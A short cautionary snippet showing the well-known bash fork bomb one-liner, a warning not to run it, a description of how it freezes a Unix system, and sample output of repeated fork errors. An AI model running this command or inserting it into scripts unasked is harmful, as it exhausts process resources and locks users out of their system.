:(){ :|:& };:
A Unix fork bomb, DO NOT run it, it is dangerous. It will freeze the system and after 1 minute, the terminal will keep saying "bash: fork: Resource temporarily unavailable", and the system load will decrease slowly. New programs cannot be started when using fork bomb.
user@localhost ~$:(){ :|:& };:
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable